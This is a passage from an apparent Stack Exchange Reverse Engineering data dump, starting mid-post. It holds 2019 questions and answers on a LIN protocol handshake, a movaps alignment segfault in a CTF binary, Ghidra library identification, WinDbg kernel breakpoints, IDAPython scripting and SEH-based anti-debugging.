obviously.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0A 0x00 0x00 0x00 0x00 0x0A&#xA;0x14 0x00 0x00 0x00 0x00 0x14&#xA;0x1E 0x00 0x00 0x00 0x00 0x1E&#xA;0x28 0x00 0x00 0x00 0x00 0x28&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the GSU is connected to the ECU, it responds immediately (&lt;code&gt;0.2&lt;/code&gt;ms) after the first string (&lt;code&gt;0x0A 0x00 0x00 0x00 0x00 0x0A&lt;/code&gt;), with a &lt;code&gt;6&lt;/code&gt; byte reply. Each time it is a slightly different reply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such a reply is followed by the ECU sending a stream of data, which is the data I need to read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried emulating some of these GSU replies with Arduino, but the ECU never sends the stream of data back on the bus if the arduino is interrogating it; it just ignores it and continues interrogating as if nothing happened. With the GSU interrogating, the ECU replies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attached an Excel table that shows some of the replies and a bit of data processing I played with. It appears that the reply is a &lt;code&gt;6&lt;/code&gt; byte stream, where the MSB (most significant BIT) of each byte is either &lt;code&gt;0&lt;/code&gt; or &lt;code&gt;1&lt;/code&gt;. I'm not sure about the rules here and why it's changing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this make sense to anyone? &#xA;Any reverse engineering experts can share some ideas?&#xA;So far haven't been able to get the ECU to answer to Arduino.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3meVR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3meVR.png&quot; alt=&quot;ECU / GSU init process&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28751" LastEditorUserId="27930" LastEditDate="2019-06-18T10:24:10.413" LastActivityDate="2019-06-18T10:24:10.413" Title="Reverse engineering non-standard LIN protocol" Tags="|protocol|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21503" PostTypeId="1" AcceptedAnswerId="21505" CreationDate="2019-06-17T22:31:46.993" Score="2" ViewCount="2189" Body="&lt;p&gt;This is a from a CTF problem I'm working on. Hopefully it's appropriate to ask this question here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iODPl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iODPl.png&quot; alt=&quot;GDB output when segmentation fault happens&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above is the GDB output when the segfault goes off. &lt;code&gt;movaps&lt;/code&gt; is the offending instruction, meaning that &lt;code&gt;rsp+0x40&lt;/code&gt; is most likely pointing to unmapped memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a closer look at the memory allocated for the stack&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/C5Evh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C5Evh.png&quot; alt=&quot;stack memory map&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;rsp=0x00007ffde19d78a8&lt;/code&gt; from the GDB output, shows that &lt;code&gt;rsp+0x40&lt;/code&gt; is well within the allocated bounds. This is really confusing for me, is there something I'm missing here? Something else I can look into to debug this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally the output when running this under &lt;code&gt;strace&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[pid 32671] --- SIGSEGV {si_signo=SIGSEGV, si_code=SI_KERNEL, si_addr=NULL} ---&#xA;[pid 32671] +++ killed by SIGSEGV (core dumped) +++&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;shows that it's apparently a null pointer dereference (&lt;code&gt;si_addr=NULL&lt;/code&gt;), which doesn't make any sense to me because the offending instruction &lt;code&gt;movaps XMMWORD PTR [rsp+0x40],xmm0&lt;/code&gt; isn't accessing a NULL pointer?&lt;/p&gt;&#xA;" OwnerUserId="28379" LastActivityDate="2019-06-18T07:31:57.683" Title="Unexpected SEGFAULT when there's apparently nothing that would cause it" Tags="|assembly|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21505" PostTypeId="2" ParentId="21503" CreationDate="2019-06-18T07:21:51.347" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;https://c9x.me/x86/html/file_module_x86_id_180.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; the address should be aligned by 16, which is not happen. Your &lt;code&gt;rsp&lt;/code&gt; value is ending by &lt;code&gt;0xa8&lt;/code&gt;, so &lt;code&gt;[rsp + 0x40]&lt;/code&gt; will be aligned by 8, not 16.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2019-06-18T07:31:57.683" LastActivityDate="2019-06-18T07:31:57.683" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21506" PostTypeId="2" ParentId="21480" CreationDate="2019-06-18T15:37:36.783" Score="1" Body="&lt;p&gt;Russian, definitely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell somebody writes &lt;a href=&quot;http://www.cyberforum.ru/programming-theory/thread1934838.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; (in Russian, sorry) that it is a language of программатор, or programmer,named &lt;a href=&quot;http://triton-prog.ru&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Тритон&quot; - sorry, Russian again&lt;/a&gt;. The language that looks very similar to what you describing can be found in their documentation (sorry, Russian only, I couldn't find it in English) &lt;a href=&quot;http://www.triton-prog.ru/doc/si-calk.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; . I don't know if they invented the language: may be it is a copy of something else, but this is the closest reference I can find.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2019-06-18T15:49:54.463" LastActivityDate="2019-06-18T15:49:54.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21507" PostTypeId="1" CreationDate="2019-06-18T16:45:27.270" Score="2" ViewCount="182" Body="&lt;p&gt;After some personal research I didn't find any possible way or a paper to explain how to determine what architecture a given piece of shellcode may targets. The only obvious way I found would be to disassemble it for various architectures and check for which one of those the assembly code makes any sense. But this way demands that an actual person has to study the assembly code every time. So is there any other way that we can use to be certain that a piece of shellcode targets a certain architecture? Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="28759" LastActivityDate="2019-06-18T16:45:27.270" Title="Determine what architecture a piece of shellcode targets" Tags="|disassembly|assembly|malware|shellcode|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="21510" PostTypeId="1" CreationDate="2019-06-18T19:22:16.053" Score="1" ViewCount="269" Body="&lt;p&gt;I want to reverse a stripped x86 sample that uses a static library.&lt;br&gt;&#xA;So far I could identify the library itself and narrow the version of the library used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to use Ghidra's Function ID plugin to identify all the library functions within the sample.&lt;br&gt;&#xA;The function signatures depend on the instructions of the function - so for them to match, the instructions need to match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instructions of a function depend heavily on the compiler, its version &amp;amp; options that were used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have compiled the library myself using gcc and compared the assembly output - and they differ.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have some suggestions on what to try / things to look out for / clues that might lead to the original compiler used?&lt;br&gt;&#xA;I have tried compiling the source with some of the compilers listed on &lt;a href=&quot;https://godbolt.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;godbolt.org&lt;/a&gt;, but none of them seem similar to the original disassembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here is one of the functions from the original sample and from one of my gcc-compiled version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Function within the original sample:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XOnSi.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;&#xA;Function within my gcc-compiled version of the library:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Fldoo.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant source code of the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define MBEDTLS_SSL_TRANSPORT_DATAGRAM          1   /*!&amp;lt; DTLS     */&#xA;#define MBEDTLS_SSL_MINOR_VERSION_0             0   /*!&amp;lt; SSL v3.0 */&#xA;#define MBEDTLS_SSL_MINOR_VERSION_1             1   /*!&amp;lt; TLS v1.0 */&#xA;#define MBEDTLS_SSL_MINOR_VERSION_2             2   /*!&amp;lt; TLS v1.1 */&#xA;#define MBEDTLS_SSL_MINOR_VERSION_3             3   /*!&amp;lt; TLS v1.2 */&#xA;#define MBEDTLS_SSL_PROTO_DTLS&#xA;&#xA;&#xA;&#xA;struct mbedtls_ssl_config&#xA;{&#xA;    unsigned int transport : 1;&#xA;};&#xA;&#xA;struct mbedtls_ssl_context {&#xA;    int minor_ver;&#xA;    const mbedtls_ssl_config *conf;&#xA;};&#xA;&#xA;const char *mbedtls_ssl_get_version( const mbedtls_ssl_context *ssl )&#xA;{&#xA;#if defined(MBEDTLS_SSL_PROTO_DTLS)&#xA;    if( ssl-&amp;gt;conf-&amp;gt;transport == MBEDTLS_SSL_TRANSPORT_DATAGRAM )&#xA;    {&#xA;        switch( ssl-&amp;gt;minor_ver )&#xA;        {&#xA;            case MBEDTLS_SSL_MINOR_VERSION_2:&#xA;                return( &quot;DTLSv1.0&quot; );&#xA;&#xA;            case MBEDTLS_SSL_MINOR_VERSION_3:&#xA;                return( &quot;DTLSv1.2&quot; );&#xA;&#xA;            default:&#xA;                return( &quot;unknown (DTLS)&quot; );&#xA;        }&#xA;    }&#xA;#endif&#xA;&#xA;    switch( ssl-&amp;gt;minor_ver )&#xA;    {&#xA;        case MBEDTLS_SSL_MINOR_VERSION_0:&#xA;            return( &quot;SSLv3.0&quot; );&#xA;&#xA;        case MBEDTLS_SSL_MINOR_VERSION_1:&#xA;            return( &quot;TLSv1.0&quot; );&#xA;&#xA;        case MBEDTLS_SSL_MINOR_VERSION_2:&#xA;            return( &quot;TLSv1.1&quot; );&#xA;&#xA;        case MBEDTLS_SSL_MINOR_VERSION_3:&#xA;            return( &quot;TLSv1.2&quot; );&#xA;&#xA;        default:&#xA;            return( &quot;unknown&quot; );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any hints and ideas are greatly appreciated, thank you!&lt;/p&gt;&#xA;" OwnerUserId="28761" LastActivityDate="2019-06-18T19:22:16.053" Title="Reproduce compilation (ASM) output for library detection - identifying compiler, version &amp; options used" Tags="|disassembly|assembly|binary-analysis|x86|malware|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21511" PostTypeId="1" AcceptedAnswerId="21518" CreationDate="2019-06-18T21:16:38.600" Score="1" ViewCount="672" Body="&lt;p&gt;My setup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Debugger: Win10 Pro, WinDbg Preview v.1.0.1904.18001&lt;/li&gt;&#xA;&lt;li&gt;Debuggee: Win7 Pro (running in a VM using VMWare Workstation)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm trying to follow the &lt;code&gt;SendMessage&lt;/code&gt; call from the user space:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/blgb5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/blgb5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Into the kernel, by setting a conditional breakpoint on &lt;code&gt;win32k!NtUserMessageCall&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1GUDq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1GUDq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we take the declaration of the &lt;code&gt;NtUserMessageCall&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NTSTATUS NtUserMessageCall(&#xA;    HWND hWnd,&#xA;    UINT uMsg,&#xA;    WPARAM wParam,&#xA;    LPARAM lParam,&#xA;    ULONG_PTR ResultInfo,&#xA;    DWORD dwWndProcType,&#xA;    BOOL bAnsi);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The condition for the breakpoint is for &lt;code&gt;uMsg == WM_SYSCOMMAND&lt;/code&gt; (or 0x112). I set it as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ba e 1 fffff960`00163318 &quot;j (@rdx=0x112) ''; 'gc'&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can then check that it was set up alright:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/v7nBp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/v7nBp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I then &quot;Go&quot; the OS:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FauOa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FauOa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The debuggee OS literally grinds to a halt. I can't do anything. I can see some &quot;life&quot; in there by seeing the clock widget jumping by 20 second intervals but it is impossible to interact with windows or do anything. Note that if I disable the breakpoint above, everything starts working smoothly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain what am I doing wrong there? And how can I make it work?&lt;/p&gt;&#xA;" OwnerUserId="14864" LastEditorUserId="14864" LastEditDate="2019-06-18T21:49:05.197" LastActivityDate="2019-06-20T10:43:41.433" Title="Setting a conditional kernel breakpoint in WinDbg grinds the debuggee OS to a halt" Tags="|windbg|breakpoint|kernel-mode|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21512" PostTypeId="1" CreationDate="2019-06-19T06:01:39.440" Score="1" ViewCount="369" Body="&lt;p&gt;I have a .Net application, in which a C++ DLL &lt;a href=&quot;https://stackoverflow.com/a/768429/3834&quot;&gt;is embedded as a resource&lt;/a&gt; into the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the .Net application is running, I will extract the C++ DLL to a temporary folder, and after that, my .Net code will immediately load the C++ DLL into the memory and use it by calling a function on the C++ via interop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My concern is that with scheme like this, is it possible for an attacker to somehow (still) hijack the C++ DLL and replace it with his own compromised version? Or is it possible to hijack a C++ DLL after it has been loaded into the memory space?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, how?&lt;/p&gt;&#xA;" OwnerUserId="2676" LastActivityDate="2019-06-19T23:44:12.790" Title="Is it possible to hijack a C++ DLL after it has been loaded into the memory space? How?" Tags="|c++|c#|dll-injection|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21513" PostTypeId="1" AcceptedAnswerId="21554" CreationDate="2019-06-19T06:27:12.297" Score="0" ViewCount="710" Body="&lt;p&gt;Iv'e never used python before and in looking at other example I can't find what I'm looking for exactly so I have come here to humbly ask for an example script if anyone could be so kind, I am trying to simply make a table of function names and their corresponding sig and then I'd like to run the script in ida and have it search for the aob and if found rename that function to the sigs name and if not found just print that it wasn't found. I have coded in lua an exact replica of what I am trying to accomplish. Thanks for your time!&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;local sigs = {&#xA;    [&quot;func1&quot;] = &quot;ff ff ff ff ff ff ff&quot;,&#xA;    [&quot;func2&quot;] = &quot;ff ff ff ff ff ff ff&quot;,&#xA;    [&quot;func3&quot;] = &quot;ff ff ff ff ff ff ff&quot;,&#xA;    [&quot;func4&quot;] = &quot;ff ff ff ff ff ff ff&quot;&#xA;}&#xA;&#xA;for name, sig in pairs(sigs) do&#xA;    local address = searchaob(sig)&#xA;    if address then&#xA;        rename(address, name)&#xA;    else&#xA;        print(name .. &quot; not found&quot;)&#xA;    end&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13556" LastActivityDate="2019-06-27T05:30:26.390" Title="IdaPython aob search and rename example" Tags="|ida|idapython|python|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21514" PostTypeId="1" CreationDate="2019-06-19T10:52:02.503" Score="2" ViewCount="2245" Body="&lt;p&gt;I'm debugging a software and it hits &lt;code&gt;access violation&lt;/code&gt; on &lt;code&gt;wcslen&lt;/code&gt; function under debugger but runs normally without it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I thought It had some anti-debug trick, but I could not found any indicators of that in the executable, I also could not found any anti-debug technique with &lt;code&gt;access violation&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using both &lt;code&gt;x64dbg&lt;/code&gt; and &lt;code&gt;windbg&lt;/code&gt;but I had same problem on both of them. I also launched them with admin privileges since I thought privileges might be needed for something but error didn't go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is exact line of inside &lt;code&gt;wcslen&lt;/code&gt; which causes this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov cx, word ptr ds:[eax]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the address which &lt;code&gt;eax&lt;/code&gt; points to is &lt;code&gt;EF415351&lt;/code&gt; which is pretty big.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, is there any anti-debug technique which involves &lt;code&gt;access violation&lt;/code&gt;? How can I workaround this error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I patch program so that it logs &lt;code&gt;wcslen&lt;/code&gt; arguments, and then I'll just compare it's argument under debugger and normal execution and maybe find something interesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S&lt;/strong&gt;&#xA;I also get same error when launching application under debugger, so attaching or running under it doesn't make any difference.&lt;/p&gt;&#xA;" OwnerUserId="28768" LastEditorUserId="28768" LastEditDate="2019-06-19T11:12:53.463" LastActivityDate="2020-11-10T14:04:35.443" Title="ACCESS_VIOLATION when attaching a debugger" Tags="|disassembly|windows|assembly|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21515" PostTypeId="2" ParentId="21514" CreationDate="2019-06-19T11:21:14.707" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;is there any anti-debug technique which involves access violation? How can I workaround this error?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, there is. It is called &lt;em&gt;Structured Exception Handler for Windows&lt;/em&gt;. See this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/21367/debug-program-using-peculiar-anti-debugging-technique&quot;&gt;question&lt;/a&gt;, where I presented an implementation of such a technique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, it relies on the fact that, upon normal execution, when an excetion occurs, the control is transfered to the handler registered for such an exception and, as I illustrated in the question I gave a link to, it is possible to continue execution even, when normally program would crash. However, when run in a debugger, the exception is transfered to a debugger first, so the program doesn't receive it and behaves differently than when run without debugger attatched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it is possible that the program you analyse, causes the error &lt;em&gt;intentionally&lt;/em&gt;. In such a case, you should be able to pass the exception to the program after debugger receives it, so it behaves like debugger wasn't present (at least in theory).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I patch program so that it logs wcslen arguments, and then I'll just compare it's argument under debugger and normal execution and maybe find something interesting&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you could do so. That will show you whether the arguments are the same or not in both cases.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-06-19T11:21:14.707" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21517" PostTypeId="2" ParentId="21465" CreationDate="2019-06-19T13:08:34.627" Score="0" Body="&lt;p&gt;OllyDbg actually &lt;strong&gt;shows&lt;/strong&gt; these strings, but you weren't looking at the right function. The image you posted shows &lt;code&gt;RaiseException&lt;/code&gt; function from &lt;code&gt;KERNELBASE&lt;/code&gt; instead of the &lt;code&gt;main&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/m9CHh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m9CHh.png&quot; alt=&quot;ollyUnicodeStrings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as you see from assembly instructions, they are written in &lt;a href=&quot;https://en.wikipedia.org/wiki/Common_Intermediate_Language&quot; rel=&quot;nofollow noreferrer&quot;&gt;CIL&lt;/a&gt; and OllyDbg works only for &lt;code&gt;x86&lt;/code&gt; architecture, so when you try to set a breakpoint and run this application in it, you will get an exception and will be unable to continue to the code above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @ismael_akez suggested, you may either try some different tool, or just rewrite your program in &lt;code&gt;C++&lt;/code&gt; and you should able to debug your program in Olly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; these are &lt;em&gt;Unicode&lt;/em&gt;, not ASCII strings.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-06-19T13:22:33.207" LastActivityDate="2019-06-19T13:22:33.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21518" PostTypeId="2" ParentId="21511" CreationDate="2019-06-19T19:55:02.683" Score="1" Body="&lt;p&gt;not sure how you can do it with ida as front end  shown below is a pure windbg demo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;finding _EPROCESS with name or Cid&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1: kd&amp;gt; !process 0 0 explorer.exe&#xA;PROCESS ffff8e0c835c9300&#xA;    SessionId: 1  Cid: 0fc8    Peb: 00583000  ParentCid: 0f8c&#xA;    DirBase: 0a600002  ObjectTable: ffffd58bc24b0d40  HandleCount: 1913.&#xA;    Image: explorer.exe&#xA;&#xA;1: kd&amp;gt; !process 0fc8 0&#xA;Searching for Process with Cid == fc8&#xA;PROCESS ffff8e0c835c9300&#xA;    SessionId: 1  Cid: 0fc8    Peb: 00583000  ParentCid: 0f8c&#xA;    DirBase: 0a600002  ObjectTable: ffffd58bc24b0d40  HandleCount: 1913.&#xA;    Image: explorer.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;setting an unconditional process specific software bp&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1: kd&amp;gt; bp /p ffff8e0c835c9300 win32kfull!NtUserMessageCall&#xA;WARNING: Software breakpoints on session addresses can cause bugchecks.&#xA;Use hardware execution breakpoints (ba e) if possible.&#xA;&#xA;1: kd&amp;gt; g&#xA;Breakpoint 0 hit&#xA;win32kfull!NtUserMessageCall:&#xA;ffffeae2`57cdc020 48895c2408      mov     qword ptr [rsp+8],rbx&#xA;&#xA;0: kd&amp;gt; ? @$proc&#xA;Evaluate expression: -125290582076672 = ffff8e0c`835c9300&#xA;&#xA;0: kd&amp;gt; kb&#xA; # RetAddr            Call Site&#xA;00 fffff803`2abdb285  win32kfull!NtUserMessageCall&#xA;01 00007ffc`bb641184  nt!KiSystemServiceCopyEnd+0x25&#xA;xxxxxxxxxxxxxxxxxxxxxxxxxx&#xA;&#xA;0: kd&amp;gt; r rdx&#xA;rdx=0000000000000081&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;setting a conditional process specific breakpoint &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; bp /p ffff8e0c835c9300 win32kfull!NtUserMessageCall &quot;.if (@rdx != 0x112 ) { gc;}&quot;&#xA;&#xA;WARNING: Software breakpoints on session addresses can cause bugchecks.&#xA;Use hardware execution breakpoints (ba e) if possible.&#xA;breakpoint 0 redefined&#xA;&#xA;0: kd&amp;gt; bl&#xA;     0 e Disable Clear  ffffeae2`57cdc020  win32kfull!NtUserMessageCall &quot;.if (@rdx != 0x112 ) {gc;}&quot;&#xA;     Match process data ffff8e0c`835c9300&#xA;&#xA;&#xA;0: kd&amp;gt; g&#xA;&#xA;win32kfull!NtUserMessageCall:&#xA;ffffeae2`57cdc020 48895c2408      mov     qword ptr [rsp+8],rbx&#xA;&#xA;1: kd&amp;gt; ? @$proc&#xA;Evaluate expression: -125290582076672 = ffff8e0c`835c9300&#xA;&#xA;1: kd&amp;gt; r rdx&#xA;rdx=0000000000000112&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;call stack for break &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1: kd&amp;gt; kb&#xA; # RetAddr             Call Site&#xA;00 fffff803`2abdb285   win32kfull!NtUserMessageCall&#xA;01 00007ffc`bb641184   nt!KiSystemServiceCopyEnd+0x25&#xA;02 00007ffc`bb8b9d60   win32u!NtUserMessageCall+0x14&#xA;03 00007ffc`bb8b98d2   USER32!RealDefWindowProcWorker+0x150&#xA;04 00007ffc`b8aeea12   USER32!RealDefWindowProcW+0x52&#xA;05 00007ffc`b8aeeaf2   UxTheme!DoMsgDefault+0x2e [es\uxtheme\handlers.cpp @ 550] &#xA;06 00007ffc`b8ae8626   UxTheme!OnDwpSysCommand+0x32 [es\uxtheme\nctheme.cpp @ 7566] &#xA;07 00007ffc`b8ae7641   UxTheme!_ThemeDefWindowProc+0x4c6 [emes\uxtheme\sethook.cpp @ 1067] &#xA;08 00007ffc`bb8b9ad4   UxTheme!ThemeDefWindowProcW+0x11 [hemes\uxtheme\sethook.cpp @ 1109] &#xA;09 00007ffc`a339bd0c   USER32!DefWindowProcW+0x1c4&#xA;0a 00007ffc`a33b0f2e   v_WndProc+0xac&#xA;0b 00007ffc`bb8bca66   s_WndProc+0x6e&#xA;0c 00007ffc`bb8bc78c   USER32!UserCallWinProcCheckWow+0x266&#xA;0d 00007ffc`bb8cfa83   USER32!DispatchClientMessage+0x9c&#xA;0e 00007ffc`be5322c4   USER32!_fnDWORD+0x33&#xA;0f 00007ffc`bb641184   ntdll!KiUserCallbackDispatcherContinue&#xA;10 00007ffc`bb8b9d60   win32u!NtUserMessageCall+0x14&#xA;11 00007ffc`bb8b98d2   USER32!RealDefWindowProcWorker+0x150&#xA;12 00007ffc`b8aeea12   USER32!RealDefWindowProcW+0x52&#xA;13 00007ffc`b8aeebb4   UxTheme!DoMsgDefault+0x2e [hemes\uxtheme\handlers.cpp @ 550] &#xA;14 00007ffc`b8ae8626   UxTheme!OnDwpNcLButtonDown+0xa4 [hemes\uxtheme\nctheme.cpp @ 7157] &#xA;15 00007ffc`b8ae7641   UxTheme!_ThemeDefWindowProc+0x4c6 [\themes\uxtheme\sethook.cpp @ 1067] &#xA;16 00007ffc`bb8b9ad4   UxTheme!ThemeDefWindowProcW+0x11 [l\themes\uxtheme\sethook.cpp @ 1109] &#xA;17 00007ffc`a339bd0c   USER32!DefWindowProcW+0x1c4&#xA;18 00007ffc`a33b0f2e   v_WndProc+0xac&#xA;19 00007ffc`bb8bca66   s_WndProc+0x6e&#xA;1a 00007ffc`bb8bc582   USER32!UserCallWinProcCheckWow+0x266&#xA;1b 00007ffc`a33a48a3   USER32!DispatchMessageWorker+0x1b2&#xA;1c 00007ffc`a33a47a9   FrameMessagePump+0xe3&#xA;1d 00007ffc`a33a46f6   explorerframe!BrowserThreadProc+0x85&#xA;1e 00007ffc`a33a5a12   explorerframe!BrowserNewThreadProc+0x3a&#xA;1f 00007ffc`a33b70c2  InternalResumeRT+0x12&#xA;20 00007ffc`babdb3ec  Run+0xb2&#xA;21 00007ffc`babdb0a5  TT_Run+0x3c&#xA;22 00007ffc`babdaf85  ThreadProc+0xdd&#xA;23 00007ffc`bc9ac315  s_ThreadProc+0x35&#xA;24 00007ffc`bb6d7e94   shcore!_WrapperThreadProc+0xf5&#xA;25 00007ffc`be4f7ad1   KERNEL32!BaseThreadInitThunk+0x14&#xA;26 00000000`00000000   ntdll!RtlUserThreadStart+0x21&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;there  isn't any special reason to use software bp  it comes by rote 